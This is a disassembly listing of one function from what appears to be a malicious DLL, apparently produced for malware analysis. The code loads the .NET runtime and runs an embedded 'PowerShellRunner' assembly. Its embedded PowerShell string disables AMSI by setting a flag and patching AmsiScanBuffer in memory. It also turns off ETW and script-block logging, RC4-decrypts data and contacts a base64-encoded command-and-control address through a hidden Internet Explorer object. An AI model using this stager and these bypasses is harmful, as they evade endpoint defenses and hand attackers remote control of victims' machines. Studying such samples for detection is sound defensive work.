Function at 0x180036e05
Capabilities:
Load windows common language runtime

Disassembly:
jmp 0x180040860
push rbp
push rdi
sub rsp, 0x3b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1800d912a]
call fcn.180037e4f
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
xor edx, edx
lea rcx, [rbp + 0x88]
call fcn.180036bf3
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.180038106
lea rdx, [0x1800acba8]
lea rcx, [rbp + 0xc8]
call fcn.180036b71
xor edx, edx
lea rcx, [rbp + 0xe8]
call fcn.1800372d3
lea rdx, str.PowerShellRunner.PowerShellRunner
lea rcx, [rbp + 0x108]
call fcn.180036b71
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.180036428
lea rcx, [rbp + 0x28]
call fcn.180036d4c
mov r8, rax
lea rdx, [0x1800acb60]
lea rcx, [0x1800ac2c0]
call fcn.18003658b
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x18004093e
mov edx, dword [rbp + 4]
lea rcx, str.CLRCreateInstance_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x48]
call fcn.180035d16
mov rcx, qword [rbp + 0x28]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov r9, rax
lea r8, [0x1800acb78]
lea rdx, str.v4.0.30319
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x378]
call qword [rax + SafeArrayCopy]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040991
mov edx, dword [rbp + 4]
lea rcx, str.ICLRMetaHost::GetRuntime_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
lea rdx, [rbp + 0x144]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x50]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1800409c3
mov edx, dword [rbp + 4]
lea rcx, str.ICLRRuntimeInfo::IsLoadable_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
cmp dword [rbp + 0x144], 0
jne 0x1800409dd
lea rcx, str..NET_runtime_v2.0.50727_cannot_be_loaded_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x68]
call fcn.1800357e9
mov rcx, qword [rbp + 0x48]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov r9, rax
lea r8, [0x1800acb90]
lea rdx, [0x1800abd08]
mov rcx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x378]
call qword [rax + 0x48]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040a30
mov edx, dword [rbp + 4]
lea rcx, str.ICLRRuntimeInfo::GetInterface_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x50]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040a5b
mov edx, dword [rbp + 4]
lea rcx, str.CLR_failed_to_start_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x88]
call fcn.180037eb8
mov rcx, qword [rbp + 0x68]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov rdx, rax
mov rcx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x378]
call qword [rax + 0x68]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040aa3
mov edx, dword [rbp + 4]
lea rcx, str.ICorRuntimeHost::GetDefaultDomain_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x88]
call fcn.180035bfe
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0xa8]
call fcn.18003543d
mov rcx, rax
call fcn.180035618
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x380], rcx
mov r8, rax
lea rdx, [0x1800acb48]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x380]
call qword [rax]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040b12
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_get_default_AppDomain_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
call fcn.1800379e5
mov eax, 8
imul rax, rax, 0
mov dword [rbp + rax + 0x168], 0x3800
mov eax, 8
imul rax, rax, 0
mov dword [rbp + rax + 0x16c], 0
lea r8, [rbp + 0x168]
mov edx, 1
mov cx, 0x11
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov qword [rbp + 0x188], rax
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
mov r8d, 0x3800
lea rdx, section..data
mov rax, qword [rbp + 0x188]
mov rcx, qword [rax + 0x10]
call fcn.1800366e4
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
lea rcx, [rbp + 0xa8]
call fcn.1800363f6
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0xe8]
call fcn.1800362ca
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x380], rcx
mov r8, rax
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x380]
call qword [rax + 0x168]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040bfe
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_load_the_assembly_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0xe8]
call fcn.180036dec
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0x128]
call fcn.180036a9a
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x108]
call fcn.180037df5
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x388], rcx
mov rdx, qword [rbp + 0x380]
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x388]
call qword [rax + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040c7c
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_get_the_Type_interface_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rax, str.If__PSVersionTable.PSVersion.Major__ge_3__Ref_Ref_.Assembly.GetType_System.Management.Automation.AmsiUtils___Ref.GetField_amsiInitFailed_NonPublic_Static_.Setvalue__Null__true___System.Diagnostics.Eventing.EventProvider_.GetField_m_enabled_NonPublic_Instance_.SetValue__Ref_.Assembly.GetType_System.Management.Automation.Tracing.PSEtwLogProvider_.GetField_etwProvider_NonPublic_Static_.GetValue__null__0___GroupPolicyField___ref_.Assembly.GetType_System.Management.Automation.Utils_.GetField_cachedGroupPolicySettings__NonPublic_Static__If___GroupPolicyField___GroupPolicyCache___GroupPolicyField.GetValue__null__If___GroupPolicyCache_ScriptBlockLogging____GroupPolicyCache_ScriptBlockLogging__EnableScriptBlockLogging___0__GroupPolicyCache_ScriptBlockLogging__EnableScriptBlockInvocationLogging___0__val___System.Collections.Generic.Dictionary_string_System.Object__::new____val.Add_EnableScriptBlockLogging__0___val.Add_EnableScriptBlockInvocationLogging__0___GroupPolicyCache_HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging____val__MethodDefinition____DllImport___kernel32____public_static_extern_IntPtr_GetProcAddress_IntPtr_hModule__string_procName___DllImport___kernel32____public_static_extern_IntPtr_GetModuleHandle_string_lpModuleName___DllImport___kernel32____public_static_extern_bool_VirtualProtect_IntPtr_lpAddress__UIntPtr_dwSize__uint_flNewProtect__out_uint_lpflOldProtect_____Kernel32__Add_Type__MemberDefinition__MethodDefinition__Name_Kernel32__NameSpace_Win32__PassThru__ABSD__AmsiScanBuffer__handle___Win32.Kernel32_::GetModuleHandle_amsi.dll___IntPtr__BufferAddress___Win32.Kernel32_::GetProcAddress__handle___ABSD___UInt32__Size__0x5__UInt32__ProtectFlag__0x40__UInt32__OldProtectFlag__0__Win32.Kernel32_::VirtualProtect__BufferAddress___Size___ProtectFlag___Ref__OldProtectFlag___buf___Byte_____UInt32_0xB8__UInt32_0x57___UInt32_0x00___Uint32_0x07___Uint32_0x80___Uint32_0xC3___system.runtime.interopservices.marshal_::copy__buf__0___BufferAddress__6___id__get_random__Ref____System__Version4.0.0.0__Cultureneutral__PublicKeyTokenb77a5c561934e089___System.Runtime.InteropServices__Version4.0.0.0__Cultureneutral__PublicKeyTokenb03f5f7f11d50a3a____Source___using_System_using_System.Runtime.InteropServices_namespace_Bypasspublic_class_AMSI_id_DllImport___kernel32____public_static_extern_IntPtr_GetProcAddress_IntPtr_hModule__string_procName___DllImport___kernel32____public_static_extern_IntPtr_LoadLibrary_string_name___DllImport___kernel32____public_static_extern_bool_VirtualProtect_IntPtr_lpAddress__UIntPtr_dwSize__uint_flNewProtect__out_uint_lpflOldProtect___DllImport___Kernel32.dll____EntryPoint____RtlMoveMemory____SetLastError__false__static_extern_void_MoveMemory_IntPtr_dest__IntPtr_src__int_size__public_static_int_Disable__IntPtr_TargetDLL__LoadLibrary___amsi.dll____if__TargetDLL__IntPtr.Zero___return_1__IntPtr_ASBPtr__GetProcAddress_TargetDLL____Amsi______Scan______Buffer____if__ASBPtr__IntPtr.Zero___return_1__UIntPtr_dwSize___UIntPtr_5_uint_Zero__0_if___VirtualProtect_ASBPtr__dwSize__0x40__out_Zero____return_1__Byte___Patch___0xB8__0x57__0x00__0x07__0x80__0xC3__IntPtr_unmanagedPointer__Marshal.AllocHGlobal_6__Marshal.Copy_Patch__0__unmanagedPointer__6__MoveMemory_ASBPtr__unmanagedPointer__6__return_0___Add_Type__ReferencedAssemblies__Ref__TypeDefinition__Source__Language_CSharp_iex___Bypass.AMSI_id_::Disable____Out_Null____System.Net.ServicePointManager_::Expect100Continue0__K_System.Text.Encoding_::ASCII.GetBytes_S1TONRdM_C7m4vwVf_t_0FUq_6nl___R_D__K_Args__S0..255_0..255__J__J_S_____K_____K.Count___256__S______S__J__S__J___S______D__I__I1__256__H__H_S__I___256__S__I___S__H__S__H___S__I_____bxor_S___S__I__S__H___256___ieNew_Object__COM_InternetExplorer.Application__ie.Silent_True__ie.visible_False__fl14__ser___Text.Encoding_::Unicode.GetString__Convert_::FromBase64String_aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADIAMAA6ADgAMAA_____t_news.ph
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x348]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x128]
mov rcx, qword [rbp + 0x368]
call fcn.180037cba
mov r8, qword [rbp + 0x1a8]
lea rdx, [0x1800b0d58]
mov rcx, rax
call fcn.18003716b
cmp qword [rbp + 0x28], 0
je 0x180040cde
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x28]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x28], 0
cmp qword [rbp + 0x48], 0
je 0x180040cfb
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x68], 0
je 0x180040d18
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x68], 0
lea rcx, [rbp + 0x128]
call fcn.18003729c
lea rcx, [rbp + 0x108]
call fcn.18003777e
lea rcx, [rbp + 0xe8]
call fcn.18003820a
lea rcx, [rbp + 0xc8]
call fcn.18003777e
lea rcx, [rbp + 0xa8]
call fcn.1800363a6
lea rcx, [rbp + 0x88]
call fcn.1800358ed
lea rcx, [rbp - 0x20]
lea rdx, [0x1800ac7b8]
call fcn.180037648
lea rsp, [rbp + 0x398]
pop rdi
pop rbp
ret